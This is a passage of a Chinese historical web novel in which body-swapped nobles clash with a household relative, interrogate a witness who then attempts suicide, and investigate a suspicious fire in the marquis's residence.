“若是……”她眼睛快速眨着,手指不停绞着手中的帕子:“若是……能找找那赵编修,把此事按下,便是最好。” 温越冷哼一声,这哪里是‘一时不慎’,分明是眼高于顶,自恃清高。 出了事不主动担责,反而想要妻子出面,寻些‘旁门左道’遮掩过去。 “此事我管不着。”温越语气淡淡道:“曹进文犯了翰林院最忌讳的‘擅改奏文’之过,赵编修依规处理,合情合理,就算掌院大人知道了,不过申斥几句,再不济罚些俸禄,总不至于丢了官职。” 温如沅闻言,脸上的笑瞬间挂不住了。 “嫂嫂这话说的轻巧,又有几个人能像嫂嫂的兄长似的,得父亲庇佑,在官场平步青云?” 此话一出,温越原本平和的面容,瞬间冷了下来,眸底情绪翻涌,转瞬添了一股寒冰般的泠冽,望向温如沅的眼神凌厉如刀。 申时未过,院落里的冰雪融化,檐角传来滴答滴答的水滴声,屋内静得落针可闻。 温如沅的心也在这规律的滴答声中,渐渐冷了下来。 良久之后,温越沉声开口,“沈行,16岁入翰林,不久便因才思敏捷与记忆超凡受到重用;18岁外放监察御史,后连破数十起冤案,名声大噪;22岁,因功返京,被破格提拔为刑部郎中,修善律法,处置严明,如今不过25岁,已任刑部侍郎两年有余,”他顿了顿:“曹进文……如何能与沈不愚相提并论?” 温如沅咽了口唾沫,不知为何被‘她’看的心里发虚,转身看了看自家兄长不在,遂干脆撕破脸伪装:“不过一句话的事,你说你管不着,我看分明就是不想管!” “确实不想管。”温越又恢复落神色淡淡的模样,捏起茶杯啜饮:“你能奈我何?” “你!……” 温如沅以为沈溪言是个软性子,一哭二闹便能成事,谁成想竟碰了个硬钉子。 “沈溪言,你不过是个没有依靠的孤女,踩了狗屎运嫁进我们温府,就是个外人,你不帮我,我去求大哥,大哥一定会救进文的。” 扭头走了两步,也没见‘沈溪言’起身拦她,她气急,转身冲着‘沈溪言’骂道:“你可想好了,你如此见死不救,大哥知道了,定会觉得你刻薄寡情,我让大哥休了你,你信不信,到时候可别哭着求我帮你说情。” 温越轻轻扬起嘴角,露出一个冷笑,不敢相信眼前这个‘泼妇’,是小时候跟在自己身后,甜甜的喊自己‘二哥’的小丫头。 她专门挑冷一个这样的时辰来找‘沈溪言’,便是料定‘温珣’不会徇私,特意避开,如今,不过是在强撑着罢了。 “榴花,三小姐对长嫂不敬,掌嘴。” 先前榴花气的发抖,几次想开口都被温越拦下,这下总算是出了口气,激动到:“是,夫人!” “你竟想打我?你算个什么东西?” ‘啊——’清脆的巴掌声传来,温如沅捂着脸,满眼不可置信。 见‘沈溪言’软硬不吃,她越说越过分:“呵,别以为你的那个好兄长能护你一辈子,他行事乖觉狠厉,这次查案得罪了左相,还不知什么时候翻船呢。” “还有,我的好嫂嫂,你还不知道吧,外界都在传,你恐怕并非沈大人亲生,你就没发现,你同沈行一母同胞,但一点也不像吗?” “你不要以为大哥非你不可,没了沈家女这个身份,我看你怎么猖狂……” “放肆!” 厅外传来一声怒呵,蒋氏在嬷嬷声搀扶下,缓缓走来。 她身后是面色惨白的生母柳氏,还有一脸担忧的,温府的四小姐,温如意。 蒋氏扫过温如沅,脸色深沉,吐字如冰:“柳氏,这就是你教出来的好女儿,倒是敢在自己家里,冲着自家人耍起威风了。” 温如沅自小在主母的威压下长大,见了蒋氏如同耗子见了猫。 倏然想起蒋氏与沈溪言的生母慕氏是手帕交,她的双腿仿佛失去了力量,理智回笼,恐惧如潮水般涌来,让她浑身发冷。 “三姐,你怎能这般顶撞嫂嫂,姨娘平日里是如何教你的,快给嫂嫂赔罪。” 第32章 家法 第三十二章 家法 “都是妾身教女无方,才至今日犯下大错,还望老夫人赎罪。”柳姨娘脸上满是焦灼,她跟在蒋氏身后,‘扑通’一声跪下,语气里带了哭腔。 蒋氏冷冷地扫了她一眼,眼底的厌恶毫不掩饰:“哼,妾室养的上不得台面的东西。” 她本就不喜欢柳姨娘母女,近些年,温如沅出嫁,看在温如意还算伶俐懂事的份上,才对柳氏有了几分好脸色。 如今,温如沅这么一闹,她又想起这对母女当年干的恶心事,言语上也越发不顾忌了。 此话一出,柳姨娘母女三人脸色一瞬间褪去血色,身子僵在原地。 温如沅被嫡母当众训斥,又见自己连累了生母被羞辱,眼底瞬间燃气一股怒火,却迫于蒋氏威压不敢开口发作。 蒋氏对她的怨气视而不见,瞥见‘沈溪言’面色沉凝,似有不悦,走上前,安抚地轻拍了拍她的手背。 “溪言,你莫要将她的话放在心上,曹进文的事,你处理的很好,无需心软,这种烂泥扶不上墙的东西,可不能在连累了你舅舅,就该按规矩办事。” “不过,”她语气中添了一丝严肃,眸光泛冷:“有一件事,你确实做的不妥。如沅即使出嫁,也是温家的姑娘,当家主母是有责罚之权,可榴花只是一个小小侍女,怎可动手打主子?” 温越闻言,眉尾微挑,狐疑地瞧了一眼自己的母亲,见后者神色如常,只是在转身的瞬间,递给‘她’一个安心的眼神,用只有两人能听见的声音道:“莫急,母亲今日便教你如何处理这种事。” 温如沅本一脸屈辱,听到蒋氏竟肯偏帮自己,眼中一亮。 婆母与新妇之间,没有几家的是和睦的,纵使不帮自己又如何,蒋氏强势,定容不得沈溪言踩到她的头上去。 想到此,她立刻捂着脸低声啜泣,那模样楚楚可怜,仿佛受了天大的委屈。 “母亲说的是,可要为女儿做主。” 一旁的温如意则垂眸敛目,沉思不语,并不露欣喜之色,她直觉事情没有那么简单。 就在这时,榴花突然挺直身子跪下,额头触地:“老夫人明鉴,打了三小姐,都是奴婢擅作主张,与夫人无关。夫人今日身体不适,还请老夫人开恩,一切罪责奴婢甘愿承受。” 谁料蒋氏面色未变,话锋陡然一转:“榴花一个小丫头,这种事怎么能让她做。” 她抬眼望向堂外,挥了挥手,扬声道:“来人!温如沅不敬长嫂,坏了侯府规矩,即可请家法,重责二十。” 此话一出,温越瞬间了然,他就知道,母亲没那么好说话。 柳氏母女三人则立刻变了脸色,柳姨娘哭着挣扎,想要求饶,却被蒋氏带来的几个身强力壮的嬷嬷按在原地,只能眼睁睁看着哭喊不止的大女儿,被几个孔武有力的婆子按在长凳上。 “啪!——” 随着木板高高举起,又重重落下,沉闷的声响传来,温如沅嘴里发出凄厉的惨叫。 蒋氏仿佛听不到似的,她拉着‘沈溪言’坐下,沉稳的声音丝毫不受影响:“都听好了,这侯府的主人姓温,可这后宅却归侯夫人管,若是以后,让我在听见有人敢对溪言言语冒犯,可不是打几板子这么简单。” 她目光伶俐,扫过众人:“她是温家的姑娘,可以用家法管教,尔等是外人,本朝禁止打杀奴婢,若犯了大错,要么逐出府去,要么让我儿提到军营里去‘历练’,到时候,军法无情,要杀要剐,我可管不着了。” 下人早已吓得浑身发抖,纷纷跪倒在地,连连应声回道:“是,奴婢们不敢,谨遵老夫人教诲。” 温越扶起一脸呆愣的榴花,这才知道为何母亲一开始不出面的原因。 她料定了自己不在场,温如沅才有胆子会对长嫂出言不逊,故而先按兵不动,等到对方犯了错,再抓住把柄当众处置,杀鸡儆猴,效果极佳。 …… 马车行驶在官道上,扬起飞尘。 沈溪言正顶着定北侯的名头,面容沉静,端坐车内。 外头南枢驾着马车,行至半路,身侧突然一道黑影落定,他惊讶道:“云崖,你怎么来了?” 那人垂着眸,一身玄色衣衫,一如往日低调。 南枢声音压得极低:“方才侯爷寻你,问起世子行踪,你怎么不在?” 对方缄口不言,南枢又追问道:“世子如今处境尴尬,我给你的建议,你可同世子说了?世子可同意假扮卫将军?好歹有个正经身份,出入军营和侯府会方便很多。” 依旧无人回答。 南枢侧头,只见‘李云崖’冷冷地瞥了他一眼,眉峰微蹙,欲言又止。 南枢见他始终一声不吭,无奈撇嘴:“你这性子,愈发无趣了。” 假扮‘李云崖’的温珣自然懂南枢的意图,不过他不会苛责。 假扮侍卫‘十一’时,他不得入内院,假扮副将卫奕又难免困于军营。南枢知温越心思,他替主子筹谋,不过是各为其主,情理之中。 温珣思来想去,唯有扮作暗卫,才能时刻守在她身边。 这张李云崖的人皮面具,是他用了整整一日时间,连夜赶制出来的。 温珣嘴角牵起一抹苦笑,这偌大的侯府,他可以是任何人,唯独不能是自己,不能光明正大喊她一声阿言,不能站在她身侧。 马车渐停,军营前,卫奕早已立在那里等候。 此前,温珣已经同卫奕道明两人换身的事,只隐瞒了自己回来的事实。 可卫奕似乎还是对此事半信半疑,直到看到素来骑快马的‘将军’,今日竟坐了马车来营,下车时没有车凳,跳下来时还险些崴了脚,卫他眼底的疑虑才散了几分。 卫奕快步上前,对沈溪言微微颔首。 沈溪言看懂了他的意思,淡淡开口:“他被府中琐事绊住了,一应情况我已知晓,卫将军又有何事,尽管同我讲便是。” 卫奕重重点头,这果然是夫人惯有的说话习惯,他沉声道:“侯爷,随末将来。” 深吸一口气后,沈溪言跟在卫奕身后,穿过一队队肃立的守卫,进了一顶不起眼的军帐。 她脑中预想了千万种可能,可当卫奕掀开厚重的帐帘,她还是怔愣在原地。 那是一个熟面孔。 第33章 亲手报仇 第三十三章 亲手报仇 营帐内陈设极简,正中摆着一张紫檀木矮案,上面还堆着几分军报与竹简,正后方是一张太师椅,一侧挂着北疆舆图,另一侧立着兵器架。 沈溪言的目光落在帐子中间,那道纤细瘦弱的身影上,她正被两名士兵死死按住,跪在地上。 正是之前消失的醉玉。 她发髻凌乱,脸上沾染了大片泥污,口中勒着布条,发出呜呜的声音。 双手被粗麻绳反剪在身后,勒的很紧,隐约看见外翻的皮肉,身上的衣裙早已看不清原本的颜色,裙摆破损,裸露的皮肤下青紫淤伤明显,显然是吃了不少苦头。 “你们擅自用刑了?” 押着醉玉的士兵直冒冷汗,抬眼看到‘将军’眉间紧绷,强压着怒意。 “将军明鉴,这女子行迹鬼祟,抓住时就是这般模样,属下等未接到命令前,不敢擅作主张。” 一旁的卫奕瞅了一眼沈溪言微沉的面色,眸光落在醉玉血淋淋的手腕上:“将军勿怪,此女被抓时反抗激烈,言语中似有冒犯将军之意,手下人一时不愤,手劲或许大了些……” 沈溪言没说话,上次见醉玉,还是她假孕上门讨要名分,打扮艳丽,短短几个月,就成了如此狼狈模样。 醉玉仰起头,那双浑浊的双瞳在看清眼前男子的那一刻,瞬间血红一片,她挣扎着想要起身,却被按得更紧。 “老实点!” 沈溪言收回目光,径直走过醉玉,帐外带来的冷风让女子整个人不受控制地微微发抖。 她转身坐在太师椅上,摆摆手:“给她松绑。” “将军?”卫奕对上沈溪言肯定的眼神,无奈道:“是。” 他一把扯下醉玉口中的布条,又提剑将她手上的束缚斩断,随即挥了挥手让其余人都退下。 营帐的厚重帘子被掀开又合上,帐内只剩三人。 没了口中布条,醉玉大口喘着粗气,她被绑了许久,四肢有些僵硬,她摇摇晃晃地站起身,双手撑在地面上,离开时地上落下一层血渍。 再次抬头,她眸光冰冷,看向‘定北侯’的目光像是淬了毒。 “呸!” 一口唾沫吐在沈溪言脚边,醉玉嗓音嘶哑:“温珣!你这个杀弟弑父的伪君子!” 卫奕脸色骤变,‘唰’地一声将长剑横在女子的脖颈上:“妖女!你知道你在胡说什么吗!” 利刃划破皮肤,渗出一串血珠,女子却浑然不觉。 “住手!” 沈溪言握着扶手的指尖发颤,声音极力保持平稳:“让她把话说完。” 醉玉嗤笑一声,挑衅般拨开脖间长剑:“我从周家的监视下逃脱之后,就一直遭人追杀,苟且偷生了这么些时日,就为了替二公子报仇。” 她盯着太师椅上的‘温珣’,不错过‘他’一丝一毫的表情:“藏了这些日子,还真让我发现了一些端倪。” 突然,她仰天大笑:“温珣,定北侯,好一个平定北疆的大功臣,竟是踩着骨肉血亲的尸身得来的功绩。” 卫奕气得红了眼:“简直胡言乱语!世子绝不会做这样的事。” 醉玉轻蔑地撇了一眼卫奕:“哟,温珣的狗,主人还没发话,你急什么?” “你!” 沈溪言抬手,用指腹轻轻按住眉心,唇线抿直:“你方才说,发现了一些端倪,具体指什么?若是继续胡言论语构陷本侯,就依军法处置。” “构陷?”醉玉的眼角溢出一颗泪来,顺着她满是泥渍的脸颊滚落:“公子对你这位兄长极为敬重,可你呢?” “五年前,沧州叛乱,定北侯府温家次子奉命押送粮草。那时你因半月前剿匪重伤,并未随军出战。后来,有人在背地里偷偷调换了大批粮草,换成了发霉的陈米,剩下的少半,还被流寇劫走。导致数十万将士在前线被困。” “事后,公子察觉此事,想禀告朝廷,却被你拦了下来,说是为了稳定军心,遂暂时隐瞒不报。” “那是他第一次上战场,可最终此事还是让朝廷知道了,于是二公子被申斥,落下了一个‘玩忽职守,不堪重用’的名声。” “温珣,他如此信你,你却利用他立威!” 想到沧州之战的粮草,沈溪言心头一震,当年温越押送粮草确实出了纰漏,不过听说后来温珣得知消息,带伤上战场,才稳住了后方局面。 她垂眸:“你的意思是我泄露了消息?” “难道不是?” “你休要胡言!”卫奕气急:“那次的事,没有世子力挽狂澜,二公子是要被军法处置的,世子用了军功相抵,才免了二公子的皮肉之苦。” “呵,我本也如此认为。”醉玉轻笑一声,目光死死盯住沈溪言,似乎要从她的脸上看出一丝破绽。 “那我若说,最近有人告诉我,调换粮草的事也是你做的呢?否则事后又哪里能那么巧合,拖着受伤的身子,还拼死从流寇手里夺回了大部分粮草。” “你说此事是我授意,可有证据?”沈溪言的身子微微后仰,醉玉所言,她半个字也不会信。 “粮草押韵有专人核验,沿途有驿站接应,我如何能有那么大的本事,能神不知鬼不觉的将其调换?” 沈溪言只觉醉玉疯了:“再者,我如何要陷害我的亲弟弟?” “证据我自然是有!为何陷害?你温珣心知肚明。北疆之战,你故技重施,结党营私,里通外敌。这里又没有外人,二公子早已葬身北疆,你现在何必惺惺作态?” “简直荒谬至极!” 沈溪言皱眉,眼中闪过一丝不耐,本以为能抓到什么铁证,谁知竟遇到一个胡言乱语的疯子。 “你既认定我罪孽深重,自可带着你所谓的证据去大理寺鸣冤,如今跑到本侯面前,不知所云的说了这么一大通,所谓何意?” 醉玉走近几步,突然笑了一声:“温珣,谁不知道,刑部侍郎沈大人是你夫人的亲兄长,你们蛇鼠一窝,我一个贱籍出身的女子,去状告堂堂侯爷,只怕登闻鼓还没敲响,人头就已经落地了。” 沈溪言有些被气笑了:“你不要顾左右而言他,北疆之战,你还知道什么内情?究竟什么人在哦背后兴风作浪,挑拨离间,若如实说来,本侯恕你方才无罪。” 醉玉突然靠近,身子前倾,眼底闪过一丝决绝:“我只知道……” 话音未落,她突然如离弦的箭一样向前冲了上来,一把夺过兵器架上的短刀,向沈溪言的胸口猛地刺出:“我要亲手替二公子报仇!” 第34章 别信任何人 第三十四章 别信任何人 利刃割破外衫,发出刺啦一声金属的碰撞声,沈溪言险些被扑倒。 幸亏这具身体还保留了一些对危险来临的敏锐,在看到寒光的那一刻,她瞳孔紧缩,下意识侧身一躲。 卫奕反应极快,长剑上挑,‘哐当’一声,醉玉手中的短刀脱手飞出,转了几圈插到了地上。 紧接着,醉玉感到一股强劲的力道袭来,随后身子猛然飞出去数丈,重重砸在地上。 一扭头,她脖间抵着长剑,两名黑衣暗卫已经一左一右护在了沈溪言身前。 南枢:“妖女,找死!” 李云崖:“可有受伤?” 沈溪言脸色煞白,眸中惊疑未定,摇了摇头,在马车上时,南枢就拿来了一件金丝软甲,说侯爷吩咐,要她穿上。 她起初还以为是夫君多此一举,没想到此时真的派上了用场。 “咳咳……”醉玉胸口闷痛,她强咽下口中涌上的一股甜腥,短暂地一怔:“温珣,你还真是怕死,明处暗处都安排了护卫不说,还穿了护甲。” “杀不了你这忘恩负义之徒,我也不配活在这世上……”她眼中决绝,就往利刃上撞去。 沈溪言脸色陡然一变,瞪大了眸子,吼道:“阻止她!” 卫奕收剑不及,温热的血瞬间从她纤细的脖颈间飞溅,喷了卫奕一身。 沈溪言猛然推开挡在身前的南枢和李云崖,踉跄着冲向醉玉,一把揽起醉玉的身体,按住汩汩流血的惨烈伤口,嘶哑着嗓子哭喊道:“来人,快叫军医!快啊!” 卫奕低头看着自己满身的血,自知犯了错,领命快步冲出营帐。 …… 军医进进出出,端出一盆盆触目惊心的血水。 沈溪言站在营帐外,冷脸瞧着,双手紧紧握紧,笔挺的身姿一动不动。 冷风如刀割,上一次这番境况,还是夫君受伤的时候,那时她眼疾未愈,只瞧见一点朦胧的颜色,心头便慌乱不已。 如今她身上还沾着醉玉的血。 鲜艳、刺目、冰冷。 南枢站在沈溪言身后,眼中闪过一丝不解,忍不住低声询问:“为何一定要救她?夫人,难道您真的信了此女方才的胡言乱语?” 自然不信。 沈溪言想开口,可喉咙里却像卡了一块坚硬的石头,干涩得发疼。 她没有说话,只是下意识摸了摸胸前的衣襟,在那里,多了一张极薄的绢布。 是方才她上前按住醉玉脖颈伤口的时候,趁乱塞到她怀中的,还没来得及看。 耳边突然回响起那极轻、极快、却又清晰到可怕的一句话:“夫人,别信任何人。” 夫人。 别信任何人。 这句话钻入耳朵的时候,沈溪言瞳孔紧缩,惊惧不已,她依然记得那股透骨的寒意从脚底直冲天灵盖。 一则,醉玉何时认出了她? 二则,醉玉说的那句话,是什么意思?在场的只有卫奕和她自己,醉玉究竟在防着谁? 脑中一片混乱,无数纷乱的念头交织在一起。 沈溪言只能紧紧咬着牙,醉玉这么一刺,在外人面前,先前所有的坦白与揭露,都成了刺杀的铺垫。 她到底想告诉自己什么? 沈溪言深呼一口气,强迫自己先冷静下来,无论如何,先保住醉玉的性命要紧。 只要人活着,等她醒了,总有机会细细盘问清楚。 直到她在冷风中站的身子都僵了,老军医才从营帐中出来。 “侯爷,此女命大,性命算是保住了,只是伤了喉咙声带,以后……怕是不能讲话了。” 沈溪言心中微沉,随即又松了一口气,恍惚才发觉,在这寒冬腊月里,她的背后已经浸满冷汗。 一阵风吹来,里衣湿漉漉地贴在后背上,凉的刺骨,她接过李云崖手里一直捧着的狐皮大氅,套在身上。 “保住性命就好。” 低喃一声,转头望向垂首立在一旁的卫奕,和周围肃立的陌生士兵,想起醉玉身上的伤,她眸色一冷:“来人,将醉玉抬到马车上,同本侯回府。” “是。” …… 天色渐暗,回到侯府已经到了酉时。 沈溪言才下马车,就瞧见侯府门口一抹熟悉的倩影,正裹着厚厚的斗篷,焦急得来回踱步。 榴花亦步亦趋跟在身后,死死盯着自家夫人不让她出门。 见侯府的车驾行来,温越眼里瞬间亮起了光,已经迎了上来:“怎么去了这么久?” 话音未落,面色陡然一变,冷风夹杂着那股熟悉的、浓烈的血腥味,从斗篷下隐隐传来。 他心头一跳,顾不得两人还在大门口站着,直接伸手掀开一看,刺目的红映入眼帘:“你受伤了!” “未曾。” 沈溪言顶着男人的身体,将面前矮了自己一头的女子掰正:“是别人的血。夫君莫慌,我没事。” 温越高悬的一口气终于放了下来。 他缓慢抬头,猝不及防看到男人下巴的胡茬,他思绪飘远,原来阿言每次瞧他都是这样的角度。 “回去再说,这里风大。” “好。” 今夜无月,兰苑屋内,两人并肩坐在榻上,跳动的烛光将两人的身形拉的纤长。 男人只着中衣,领口微敞,他方才沐浴过,半干的长发随意披散在肩,几缕发丝垂落胸前,他身后垫着软枕,长腿微屈,透着股诱人的慵懒。 女子侧身而坐,手里捏着一张干燥的布巾,将长发轻轻裹住,放在掌心搓了搓,不厌其烦地重复着擦拭的动作。 沈溪言垂着眼,看着面前‘自己’的那张脸,心中五味杂陈。 思索再三,她还是决定将今日之事和盘托出。 她将那方绢布拿出来,放在温越面前:“阿珣,你看看这个,可认得此物?” 温越眉间浮起一丝困惑,放下手中的潮湿的布巾,拿起那张绢布,凑到烛光下细细端详,眉头渐渐蹙成了一个‘川’字。 绢布极薄,却随处可见,就是大宛朝所用于裁衣的寻常布料,上面密密麻麻写满了一些奇怪的符号,似画似字,看不清楚。 沈溪言不放过他一丝一毫的表情,目光紧紧锁在他的脸上,他眸中没有慌乱,只有困惑。 良久后,温越抬眸,烛光在他眼中闪了闪,清澈而坦荡:“不认得。” 第35章 灭口? 第三十五章 灭口? “这上面似乎是异族的文字,并非中土之物,字迹古怪,我也从未在军报中见过类似的符文。阿言从何得来?” 漆黑如墨的深眸凝视,温越神色并无异样,沈溪言心中的那一丝疑虑稍减,沉声道:“是醉玉塞给我的。” “她撞到剑上,我上前揽住她的时候,借着别人看不见的角度,塞给我了这个,她不仅知你我换身的秘密,而且……”沈溪言语气一顿,带着一丝不语察觉的颤抖:“她还在我耳边说了一句话。” “什么话?” “别信任何人。” “别信任何人?”温越重复了一遍。 “……嗯。” 温越沉思片刻,抬眸,眼底含笑:“阿言就不怕,醉玉说的‘任何人’,指的是我?” 沈溪言看着‘自己’脸上那带着几分戏谑的笑意,心中却是一紧。 她没有笑,眸中清亮,沉声严肃道:“那阿珣,我问你,醉玉所说之事,沧州粮草,北疆兵变……你做过吗?” “自然没有!” 温越脸上的笑意渐渐收敛,取而代之的是一抹无奈的苦涩:“我兄……我向来行事光明磊落,温越是我弟弟,从小护到大的亲兄弟,要挣军功,何须他做垫脚石?” “阿言,你信温珣吗?” 温越这次没有自称‘我’,因为他清楚,沈溪言自始至终信的都只有兄长一人。 只见眼前的男子没有半点犹豫,重重地点了点头:“我信你。” 温越嘴角上扬,但那笑容像是被一根无形的线牵着,僵硬又难看。 她总是这样,只要面对‘兄长’,她就能赋之百分百的信任。 “军营里不安全。” 沈溪言岔开话题,“醉玉今日见我之前,显然是受了刑,那身上的伤一看就是新的,可那些士兵不认,还有,卫奕言语中似有包庇遮掩之意,我怕她留在军营里不安全,就带回府了。” “她如今伤了嗓子,说不了话,正好也省得乱喊乱叫惹出麻烦,我将人安排在东厢房了,南枢和李云崖守着,等她醒来,我们在一同去问她。对了,阿珣……” 沈溪言突然想起一事,目光锐利:“卫奕跟了你多年,此人是否可信?” 温越眸中神色变换,卫奕确实是兄长的心腹,跟在兄长身边少说也有七八年了,若说跟着他,也不过近半年的光景。 卫奕的父亲也在北疆一战中丧命。 按理说,他应当是可信的。 “不会是他。” 温越摇摇头,语气笃定:“也不可能是他。听你描述,若他有问题,大可以收剑再迟半分,那醉玉便再也开不了口了。” 屋内陷入沉默,两人正思考着,屋外突然传来一阵嘈杂纷乱的脚步声。 “走水了!走水了!”丫鬟小厮的惊呼打破了夜晚寂静。 沈溪言心头一惊,猛然站起身,几步冲到窗前,‘哗啦’一声推开窗户。 寒风裹着浓烟铺面而来,空气中的焦糊味呛的人直咳,只见侯府东边方向,火光冲天,红彤彤地照得天地间如同白昼。 两人面色齐刷刷一变:“不好!醉玉还在那里!” “我去看看。” 对视一眼,沈溪言抓过外衫,三两下套在身上:“我和你一起去。” 两人赶到偏院时,火势已经被迅速控制住。 除了侯府的侍卫小厮,还有一队身穿深蓝戎服、手执水袋和柳罐等器具的武侯铺铺兵,正在收拾残局,泼洒在地上的水砸在黑灰上,扬起一阵阵呛人的烟尘。 队正是个短小精悍、皮肤黝黑的男人,见‘温侯’沉着脸阔步走来,他连忙甩开手中的水桶,一路小跑,上前躬身行礼。 “侯爷,火势已经控制住,请侯爷放心,未波及别的院落,下官已经派人快马禀告金吾卫中郎将谢将军,将军稍后便到。” 未听见回应,队正悄悄抬头,只见‘定北侯’面色冷硬,‘他’身后的‘侯夫人’沉着脸,目光越过众人,望向那已经被烧成废墟的屋子,红唇轻启,低骂一声:“废物。” 声音不大,却让队正身体一抖。 他的头埋得更低了,不敢啃声。 余光瞥见这位‘夫人’上前几步,一撩裙摆,动作干脆利落,双脚分开,避开地上积水,大马金刀地蹲下身子,捡起一根木棍,在那焦黑的废墟中拨弄起来,行为颇显豪迈。 在场众人皆敛眉息目,目不斜视。 榴花看的眼角直抽,焦心不已:“夫人!” 夫人怎能在这么多的外男面前,行如此‘不雅’的举动。可见‘侯爷’神色如常,并未制止,她又将到嘴边的话茬咽了下去。 纤细的手指捏起一搓烧焦的黑色粉末,她鼻尖发出一声冷哼:“都烧成灰了,让谢淮回去吧,还来做什么,你们没什么事也滚吧。” “是,是……”那队正如蒙大赦,抬袖擦了擦额头的冷汗,领着一小队人默默退下。 待闲杂人等退下,一袭黑衣的南枢悄声出现在阴影里,他凑近两步,身上还带了浓烟的气味:“夫人,侯爷,醉玉……没救出来。” 就在这时,只听‘轰隆’一声巨响。 那间本就摇摇欲坠的屋子轰然倒塌,激起一片火星。 南枢面色一变:“遭了,云崖还在里面!” 温越下意识将沈溪言护在身后,恍然意识到,他如今瘦小的身形,根本挡不住四散的烟尘。 就在众人惊呼的时候,一道灰头土脸的身影从废墟中走出。 ‘李云崖’一身灰烬,额前碎发都有些焦卷,‘他’拖着一具焦黑的尸体,一步步放到众人面前:“我进去时,她周身火势很大,救不出来了,只能带出尸体。” 说罢,‘他’掩唇轻咳了几声。 南枢松了一口气,可下一秒,目光就落在‘李云崖’肩头的衣衫上。 ‘他’亦一身黑色衣衫,又面对众人,若不细瞧,根本发现不了,男人的背后赫然破了一个大洞,皮肤被火焰灼烧,那里藏着红肿可怖的伤口。 “你受伤了?”南枢眉头紧锁,“救不出来就算了,怎么差点将自己搭进去。” ‘李云崖’无视南枢的絮叨,只定定地望着一个方向,喃喃道:“她要护的人,总得尽力一试。” “你说什么?”南枢的心思全在男人的伤口上。 “没什么。” ‘李云崖’低下头,掩去眼底复杂情绪。 第36章 噩梦 第三十六章 噩梦 沈溪言忍着恶心和恐惧,走上前。 尸体已经被烧得面目全非,散发着令人作呕的难闻气味,可那身形,以及喉间的伤口…… 确实是醉玉。 那个下午还在躺在自己怀里,叮嘱她,不要信任何人的女子,此刻已经变成一具毫无生机的焦炭。 “查!” 沈溪言咬牙切齿,眼中满是杀意,“申时之后,所有靠近这个院子的人,都给我挨个查清楚!” 温越站在她身后,握住她微微发抖的手,低声安抚道:“阿言,别怕,或许只是意外。” 方才南枢悄悄禀告,东厢房位置偏僻,长久失修,冬日干燥。醉玉藏在此处,突然点了炭盆取暖,火星飞溅,不是没有烧起来的可能。 况且,火是从内部着起来的,他刚查了,也并无火油的气味。 可看沈溪言一脸自责,失魂落魄的摸样,他不忍直言相告。 “不……” 不是的。 前脚将人带回侯府,后脚就遭人灭口,分明是有人不想让醉玉讲话。 沈溪言猛然回头,目光灼灼:“阿珣,有人要灭口。” 温越看着她这副模样,心中无奈,并未反驳:“嗯,我知道,你的怀疑不无道理,交给他们去查。” “一切有我。” …… 这一夜,沈溪言睡的极不安稳。 恍惚间,她回到了自己身体里,梦中刀光剑影,四周白雾弥散,鼻尖充斥着浓郁的血腥味。 她走在其间,伸手不见五指。 突然,周身气流涌动,白雾翻滚,醉玉一身鲜血,举着锋利的短刀直刺她的面庞。 这次,周身没人相护,她像是被人施了定身咒,僵立在原地,动弹不得。 就在那抹寒光即将刺到眼前的那一刻,‘噗嗤’一声,耳边传来利刃入肉的闷响。醉玉的脸在眼前定住,只见一柄长剑穿胸而过,鲜血顺着剑尖滴落而下。 她不可置信地低头,望向胸口的利刃,然后转头去瞧了一眼背后持剑之人。 沈溪言呼吸絮乱,胸口急速起伏,她看见醉玉一脸惊恐,嘴唇翕动,无声对自己说:“夫人,别信任何人。” “尤其是,尤其是……”,话未说完,她口中溢出大片鲜血。 “是谁?究竟是谁!” 沈溪言惊恐大喊,想要冲过去问个明白。 下一秒,醉玉的身躯轰然倒下,一片白雾之中,持剑之人缓缓从一片虚无中走了出来。 细碎的脚步声,像是踩在了枯叶之上。 沈溪言心跳如鼓,那人的面庞逐渐清晰,清俊出尘,如霜如月。 只是那本该熟悉无比的面庞,没有平日里半分深情与温润,此刻只剩一片冰冷神色:“夫人,让你发现了,这可怎么是好?” 沈溪言退后几步,双腿发软,颤抖着质问:“你不是阿珣,你是谁!” 那人挑眉,眼睛弯了弯,笑意却不达眼底:“呵,我确实不是,你竟然今日才发现,那么……” 眼前寒光一闪,沈溪言手中赫然出现一把匕首,没等她反应过来,她的右手便不受控制般,猛然向前一送,插进男人心脏。 鲜血喷涌而出,她瘫坐在地,慌乱不已,心跳加快:“不,不是我……” 男人的身体向后倒去,没入身后的朦胧白雾之中,不见踪迹。一阵天旋地转,沈溪言手中的匕首同那温热黏腻的触感一同消失,转而出现一只长簪。 “同生共死,同生共死……” 她不受控制地默念着,随即握住长簪,猛然插进自己脖颈…… 猛然睁开眼,从床榻上坐起,她的胸膛剧烈起伏。 沈溪言惊觉那是一个噩梦,正值深夜,屋内没有点灯,漆黑一片。 她下意识想寻找那个温暖的怀抱,寻求安慰,可摸索了半天,掌心却只触及到冰凉的床榻。 外侧,空无一人。 心头莫名一跳,梦里那种挥之不去的不安感,再次袭来。 这么晚了,夫君去哪了? …… 温越早就觉察到眼前的‘李云崖’有些不对劲,再加上阿言醒来之后,兄长在未出现过。 直到那人褪下面具,露出熟悉面容,他才了然地发出一声长叹。 “哥,你这是何必……” 温珣没说话,只是背过身去,默默解开烧焦的外衫,将黏在背后的带血的布料一把扯下:“这火起的突然,我有种直觉,事情并不简单。” 皮肉红肿溃烂,伤口触目惊心。 他面无表情,仿佛受伤的另有其人:“醉玉是目前唯一的线索了。” 温越皱着眉,瞧见兄长浑然不在意自己的后背,随着他的粗鲁动作,后背立刻涌出一片血渍,血淋淋糊成一团。 温越转身,从一旁的案几上取了装着伤药的白瓷瓶和纱布,走近几步:“我来吧。” 唯一的线索。 或许不是。 他手指顿了顿,脑中蓦然想起阿言递给他的那方绢布。兄长久在军中,见多识广,也许认得上面的文字。 “哥,你……” 别信任何人。 鬼使神差的,耳边炸开那句话。 醉玉以生命做赌,传递的消息,他真的要说出来吗? “怎么了?” 久久未见温越动作,温珣扭头,看见他正拿着药瓶发愣,眼中闪过疑惑。 温越避开兄长视线,将瓶中的白色粉末倒在伤口之上。 药粉触及伤口,温珣倒吸一口凉气,硬是忍着没吭一声,这是何老临走时留下的伤药,效果极佳。 见渗血的伤口凝住,温越松了口气:“我是说,你忍着点疼。” 温珣轻笑了声:“这点小伤算什么,以前在战场上,多少次命悬一线,还不是过来了。” “倒是阿言,就算是蹭破点皮,都要闹上整整一宿。” 温越眸中一暗,压下心底的翻涌的情绪,将纱布摊开,手劲重了几分。 “嘶——” “你现在在阿言身体里,怎么手劲还这么大。” 